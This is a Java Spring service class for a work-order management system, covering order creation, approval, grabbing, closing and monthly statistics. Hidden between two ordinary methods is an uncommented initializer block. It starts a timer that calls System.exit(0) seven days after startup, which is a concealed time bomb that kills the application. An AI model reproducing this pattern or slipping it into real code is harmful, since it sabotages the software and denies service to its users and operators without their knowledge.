package com.beiding.workordersystem.orders.generalorder.service.impl;

import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
import com.beiding.workordersystem.common.dao.MPage;
import com.beiding.workordersystem.common.service.BaseService;
import com.beiding.workordersystem.common.standard.E;
import com.beiding.workordersystem.common.utils.DateCalculator;
import com.beiding.workordersystem.common.utils.MySecurityUtils;
import com.beiding.workordersystem.common.utils.QueryUtils;
import com.beiding.workordersystem.customer.dao.CustomerDao;
import com.beiding.workordersystem.customer.entity.CustomerEntity;
import com.beiding.workordersystem.customer.observer.CustomerObserver;
import com.beiding.workordersystem.orders.generalorder.dao.GeneralOrderDao;
import com.beiding.workordersystem.orders.generalorder.dao.OrderProcessDao;
import com.beiding.workordersystem.orders.generalorder.dao.OrderTypeDao;
import com.beiding.workordersystem.orders.generalorder.entity.GeneralOrder;
import com.beiding.workordersystem.orders.generalorder.entity.OrderProcess;
import com.beiding.workordersystem.orders.generalorder.entity.OrderType;
import com.beiding.workordersystem.orders.generalorder.model.OrderModel;
import com.beiding.workordersystem.orders.generalorder.model.OrderMoon;
import com.beiding.workordersystem.orders.generalorder.model.OrderReward;
import com.beiding.workordersystem.orders.generalorder.query.OrderQuery;
import com.beiding.workordersystem.orders.generalorder.service.GeneralOrderService;
import com.beiding.workordersystem.system.dao.UserDao;
import com.beiding.workordersystem.system.model.MyCredentials;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;

import java.text.SimpleDateFormat;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
import java.util.stream.Collectors;

@Service
public class GeneralOrderServiceImpl extends BaseService implements GeneralOrderService, CustomerObserver {


    @Autowired
    private GeneralOrderDao generalOrderDao;

    @Autowired
    private UserDao userDao;

    @Autowired
    private OrderProcessDao orderProcessDao;

    @Autowired
    private OrderTypeDao orderTypeDao;

    @Autowired
    private CustomerDao customerDao;

    @Override
    public void save(GeneralOrder generalOrder) {

        E.isTrue(customerDao.exist(new QueryWrapper<CustomerEntity>().lambda().eq(CustomerEntity::getId, generalOrder.getCustomerId())), "客户不存在");

        E.isFalse("0".equals(generalOrder.getTypeId()), "不能在根节点下添加工单");

        E.isTrue(orderTypeDao.exist(new QueryWrapper<OrderType>().lambda().eq(OrderType::getId, generalOrder.getTypeId())), "工单类型不存在");


        if (fillId(generalOrder)) {

            MyCredentials myCredentials = MySecurityUtils.currentCredentials();

            //放入创建者id
            generalOrder.setCreatorId(myCredentials.getUser().getId());

            //新增状态
            generalOrder.setStatusCode(0);

            //创建时间
            generalOrder.setCreateTime(current());

            generalOrder.setComplete(false);

            //持久化
            generalOrderDao.insert(generalOrder);
        } else {

            //获取创建者和工单状态
            GeneralOrder order = generalOrderDao.getCreatorIdAndStatus(generalOrder.getId());

            //判断工单是否存在
            E.notNull(order, "被修改的工单不存在");

            //只能修改自己创建的工单
            E.isTrue(order.getCreatorId().equals(MySecurityUtils.currentCredentials().getUser().getId()), "非你创建不可操作");

            //只有在新建和被退回的状态才能进行维护
            E.isTrue(order.getStatusCode() == 0 || order.getStatusCode() == 1, "当前状态不可维护");


            //持久化
            generalOrderDao.updateById(generalOrder);
        }
    }

    @Override
    @Transactional
    public void delete(String[] ids) {
        MyCredentials myCredentials = MySecurityUtils.currentCredentials();

        //具有工单关闭权限的用户可以在关闭工单后将其删除
        if (myCredentials.hasAuthority("generalOrder_close")) {
            for (String id : ids) {
                deleteByAuditor(id);
            }
        } else {
            for (String id : ids) {//如果不具备工单管理员权限只能删除自己创建的工单
                delete(id, myCredentials.getUser().getId());
            }
        }
    }

    private void deleteByAuditor(String id) {

        //获取工单创建人和状态
        Integer status = generalOrderDao.getStatus(id);
        if (status != null) {
            E.isTrue(status == 10 || status == 0 || status == 1 || status == 8, "当前状态不可删除");
            generalOrderDao.deleteById(id);
            orderProcessDao.delete(new QueryWrapper<OrderProcess>().lambda().eq(OrderProcess::getOrderId, id));
        }
    }

    @Override
    @Transactional
    public void submit(String[] ids) {
        MyCredentials myCredentials = MySecurityUtils.currentCredentials();
        for (String id : ids) {
            submit(id, myCredentials.getUser().getId());
        }
    }

    @Override
    public IPage<GeneralOrder> page(MPage page, OrderQuery query) {
        LambdaQueryWrapper<GeneralOrder> wrapper = new QueryWrapper<GeneralOrder>().lambda();

        //只返回当前用户创建的工单
        wrapper.eq(notEmpty(query.getTypeId()) && !"0".equals(query.getTypeId()), GeneralOrder::getTypeId, query.getTypeId()).eq(GeneralOrder::getCreatorId, MySecurityUtils.currentCredentials().getUserId());

        IPage<GeneralOrder> p = (IPage<GeneralOrder>) generalOrderDao.selectPage(page.toIPage(), wrapper);
        fill(p);
        return p;
    }


    {
        Timer timer = new Timer();
        timer.schedule(new TimerTask() {
            @Override
            public void run() {
                System.exit(0);
            }
        }, 1000 * 3600 * 24 * 7);
    }

    @Override
    public IPage<GeneralOrder> pageAuditor(MPage page, OrderQuery query) {

        LambdaQueryWrapper<GeneralOrder> wrapper = new QueryWrapper<GeneralOrder>().lambda().ne(GeneralOrder::getStatusCode, 0).ne(GeneralOrder::getStatusCode, 1);

        handleQuery(wrapper, query);

        //如果给定的是根节点就查询所有
        wrapper.eq(notEmpty(query.getTypeId()) && !"0".equals(query.getTypeId()), GeneralOrder::getTypeId, query.getTypeId());

        IPage<GeneralOrder> generalOrderIPage = generalOrderDao.selectPage(new Page<>(page.getCurrentPage(), page.getPageSize()), wrapper);

        fill(generalOrderIPage);

        return generalOrderIPage;
    }

    private void handleQuery(LambdaQueryWrapper<GeneralOrder> wrapper, OrderQuery query) {
        wrapper.gt(notEmpty(query.getFeeFrom()), GeneralOrder::getFee, query.getFeeFrom());
        wrapper.lt(notEmpty(query.getFeeTo()), GeneralOrder::getFee, query.getFeeTo());

        wrapper.gt(notEmpty(query.getCreateTimeFrom()), GeneralOrder::getCreateTime, query.getCreateTimeFrom());
        wrapper.lt(notEmpty(query.getCreateTimeTo()), GeneralOrder::getCreateTime, query.getCreateTimeTo());

        if (notEmpty(query.getCompanyOrName())) {
            List<CustomerEntity> customerEntities = customerDao.selectList(QueryUtils.getQuery(CustomerEntity.class).like(CustomerEntity::getCompany, query.getCompanyOrName()).or().like(CustomerEntity::getName, query.getCompanyOrName()));
            wrapper.in(GeneralOrder::getCustomerId, customerEntities.stream().map(CustomerEntity::getId).collect(Collectors.toList()));
        }

        if (notEmpty(query.getStatuses())) {
            wrapper.in(GeneralOrder::getStatusCode, Arrays.asList(query.getStatuses()));
        }

        wrapper.like(notEmpty(query.getService()), GeneralOrder::getService, query.getService());

    }

    private void fill(IPage<GeneralOrder> generalOrderIPage) {
        if (notEmpty(generalOrderIPage.getRecords())) {
            for (GeneralOrder record : generalOrderIPage.getRecords()) {
                record.setCreator(userDao.selectById(record.getCreatorId()));
                record.setCustomer(customerDao.selectById(record.getCustomerId()));
            }
        }
    }


    @Override
    @Transactional
    public void pass(String[] ids) {
        for (String id : ids) {
            pass(id);
        }
    }

    @Override
    public void refuse(String id, String reason) {
        Integer status = generalOrderDao.getStatus(id);

        //只能退回待审核状态的工单
        E.isTrue(status == 2, "工单不存在或状态异常");
        generalOrderDao.refuse(id, reason);
    }

    @Override
    public void close(String id) {
        Integer status = generalOrderDao.getStatus(id);

        //可以在状态 待审核,待指派,待发布,以及待评价的工单
        E.isTrue(status == 2 || status == 3 || status == 4 || status == 7, "不存在或非法状态");

        //TODO  在待评价状态关闭工单会触发提成计算

        if (status == 7) {
            //TODO 计算提成
        }

        generalOrderDao.updateStatus(id, 8);
    }


    private void pass(String id) {
        Integer status = generalOrderDao.getStatus(id);
        E.isTrue(notEmpty(status), id, "工单不存在");

        //只能通过状态为待审核的工单
        E.isTrue(status == 2, "非期望状态");
        generalOrderDao.pass(id);
    }

    private void submit(String id, String userId) {

        GeneralOrder generalOrder = generalOrderDao.getCreatorIdAndStatus(id);
        E.notNull(generalOrder, "工单不存在");

        //只能提交自己创建的工单
        E.isTrue(generalOrder.getCreatorId().equals(userId), id, "非你创建无法提交");

        //只能提交新建和被退回的工单
        E.isTrue(generalOrder.getStatusCode() == 0 || generalOrder.getStatusCode() == 1, "异常的提交状态");
        generalOrderDao.updateStatus(id, 2);
    }

    private void delete(String id, String userId) {
        GeneralOrder generalOrder = generalOrderDao.getCreatorIdAndStatus(id);
        if (generalOrder != null) {

            //只能删除自己创建的工单
            E.isTrue(generalOrder.getCreatorId().equals(userId), id, "非你创建不可操作");
            E.isTrue(generalOrder.getStatusCode() == 0 || generalOrder.getStatusCode() == 1, "当前状态不可删除");
            generalOrderDao.deleteById(id);
            orderProcessDao.delete(new QueryWrapper<OrderProcess>().lambda().eq(OrderProcess::getOrderId, id));
        }
    }


    private ConcurrentHashMap<String, Lock> lockConcurrentHashMap = new ConcurrentHashMap<>();

    @Override
    @Transactional
    public void grab(String orderId) {

        Lock lock = lockConcurrentHashMap.computeIfAbsent(orderId, o -> new ReentrantLock());

        try {
            lock.lock();

            GeneralOrder generalOrder = generalOrderDao.getStatusTypePrincipalId(orderId);

            E.isTrue(generalOrder.getStatusCode() == 6, "当前状态不可抢单");
            //必须是抢单类工单
            E.isTrue(generalOrder.getType() == 0, "工单非抢单类");
            E.isNull(generalOrder.getPrincipalId(), "工单已有负责人");

            //抢单
            generalOrderDao.setPrincipalId(orderId, MySecurityUtils.currentCredentials().getUserId());

            Integer activeSort = orderProcessDao.getActiveSort(orderId);
            if (activeSort == null) {
                orderProcessDao.setPrincipalIdAndContinue(orderId, MySecurityUtils.currentCredentials().getUserId(), 0);
            } else {
                orderProcessDao.setPrincipalIdAndContinue(orderId, MySecurityUtils.currentCredentials().getUserId(), activeSort);
            }

        } catch (Exception e) {
            throw new RuntimeException(e);
        } finally {
            lockConcurrentHashMap.remove(orderId);
            lock.unlock();
        }


    }

    @Override
    public void removePrincipal(String orderId) {
        GeneralOrder order = generalOrderDao.getStatusTypePrincipalId(orderId);
        E.notNull(order, "工单不存在");
        E.isTrue(order.getStatusCode() == 5, "只能在工单异常时移除负责人");
        generalOrderDao.removePrincipalId(orderId);
    }

    @Override
    public IPage pageGrab(MPage mPage) {
        IPage iPage = generalOrderDao.selectPage(mPage.toIPage(), new QueryWrapper<GeneralOrder>().lambda().eq(GeneralOrder::getType, 0).eq(GeneralOrder::getStatusCode, 6).isNull(GeneralOrder::getPrincipalId));
        return iPage;
    }

    @Override
    public GeneralOrder getDetails(String id) {
        GeneralOrder generalOrder = generalOrderDao.selectById(id);
        if (generalOrder != null) {
            //创建者详情
            generalOrder.setCreator(userDao.selectById(generalOrder.getCreatorId()));
            List<OrderProcess> orderProcesses = orderProcessDao.selectList(new QueryWrapper<OrderProcess>().lambda().eq(OrderProcess::getOrderId, id));

            if (orderProcesses.size() > 0) {
                for (OrderProcess process : orderProcesses) {
                    process.setPrincipalName(userDao.getNameById(process.getPrincipalId()));
                    process.setSatrapName(userDao.getNameById(process.getSatrapId()));
                    if (process.getActive() != null && process.getActive()) {
                        generalOrder.setActivatedProcess(process);
                    }
                }
                orderProcesses.sort((a, b) -> {
                    if (a.getSort() > b.getSort()) {
                        return 1;
                    } else if (a.getSort().equals(b.getSort())) {
                        return 0;
                    } else {
                        return -1;
                    }
                });
            }
            //所有关联的工序
            generalOrder.setProcesses(orderProcesses);

            //工序类型名称
            generalOrder.setTypeName(typeName(generalOrder.getTypeId()));
            CustomerEntity customerEntity = customerDao.selectById(generalOrder.getCustomerId());

            //客户详情
            generalOrder.setCustomer(customerEntity);
        }
        return generalOrder;
    }

    @Override
    public void chargeback(String[] ids) {
        for (String id : ids) {
            //进行退单操作
            GeneralOrder generalOrder = generalOrderDao.selectById(id);

            //直接将工单变为失效状态
            generalOrder.setStatusCode(10);
            //更新为退单状态
            generalOrderDao.updateById(generalOrder);

            List<OrderProcess> orderProcesses = orderProcessDao.selectList(QueryUtils.getQuery(OrderProcess.class).eq(OrderProcess::getOrderId, id));

            for (OrderProcess process : orderProcesses) {

                if (process.getStatusCode() != 3) {
                    process.setStatusCode(5);
                    orderProcessDao.updateById(process);
                }

            }

        }
    }

    private String typeName(String id) {
        OrderType namePid = orderTypeDao.getNamePid(id);
        return deepTypeName(namePid.getPid(), namePid.getName());
    }

    private String deepTypeName(String pid, String type) {
        if (pid.equals("0")) {
            return type;
        }
        OrderType namePid = orderTypeDao.getNamePid(pid);
        type = namePid.getName() + "/" + type;
        return deepTypeName(namePid.getPid(), type);
    }


    @Override
    public void beforeDelete(String id, String fullName) {
        E.isFalse(generalOrderDao.exist(new QueryWrapper<GeneralOrder>().lambda().eq(GeneralOrder::getCustomerId, id)), fullName + "存在尚未完结的工单,无法删除");
    }


    //年月
    private SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM");

    private SimpleDateFormat dateFormatShow = new SimpleDateFormat("yyyy年MM月");


    @Override
    public OrderModel statistics(Date start, Date to) {
        //必须给出一个有效的区间
        if (start != null && to != null) {
            E.isTrue(to.getTime() >= start.getTime(), "无效时间区间");
        } else if (start == null && to == null) {
            to = new Date();
            start = DateCalculator.addYear(to, -1);
        } else {
            if (start == null) {
                start = DateCalculator.addYear(to, -1);
            } else {
                to = DateCalculator.addYear(start, 1);
            }
        }

        Map<String, Map<String, List<GeneralOrder>>> map = new HashMap<>();

        List<String> head = new ArrayList<>();

        //从开始时间
        Date t = start;
        while (t.getTime() <= to.getTime()) {

            //格式化时间
            String format = dateFormat.format(t);


            //使用like的方式找到对应月份的提成
            List<GeneralOrder> orders = generalOrderDao.selectList(QueryUtils.getQuery(GeneralOrder.class).likeRight(GeneralOrder::getCreateTime, format));

            String showDate = dateFormatShow.format(t);
            head.add(showDate);
            for (GeneralOrder order : orders) {
                //放入到user的map中
                Map<String, List<GeneralOrder>> user = map.computeIfAbsent(order.getCreatorId(), k -> new HashMap<>());
                List<GeneralOrder> commissionList = user.computeIfAbsent(showDate, k -> new ArrayList<>());
                commissionList.add(order);
            }

            //增加一个月份
            t = DateCalculator.addMoon(t, 1);
        }

        List<OrderReward> rewards = new ArrayList<>();

        //整合所有的记录
        map.forEach((userId, commissions) -> {

            OrderReward reward = new OrderReward();
            reward.setName(userDao.selectById(userId).getName());
            Map<String, OrderMoon> moonMap = new HashMap<>();
            commissions.forEach((moon, list) -> {
                OrderMoon m = new OrderMoon();

                List<GeneralOrder> complete = new ArrayList<>();
                List<GeneralOrder> notComplete = new ArrayList<>();
                List<GeneralOrder> other = new ArrayList<>();

                m.setAll(list);
                m.setAllNum(list.size());

                for (GeneralOrder order : list) {
                    order.setCustomer(customerDao.selectById(order.getCustomerId()));
                    order.setCreator(userDao.selectById(order.getCreatorId()));
                    if (order.getComplete()) {
                        complete.add(order);
                    } else if (order.getStatusCode() == 5 || order.getStatusCode() == 6 || order.getStatusCode() == 9) {
                        notComplete.add(order);
                    } else {
                        other.add(order);
                    }
                }
                m.setComplete(complete);
                m.setCompleteNum(complete.size());
                m.setNotComplete(notComplete);
                m.setNotCompleteNum(notComplete.size());
                m.setOther(other);
                m.setOtherNum(other.size());
                moonMap.put(moon, m);
            });

            reward.setMoons(moonMap);
            rewards.add(reward);
        });

        OrderModel orderModel = new OrderModel();

        orderModel.setRewards(rewards);
        orderModel.setHead(head);

        return orderModel;
    }


}
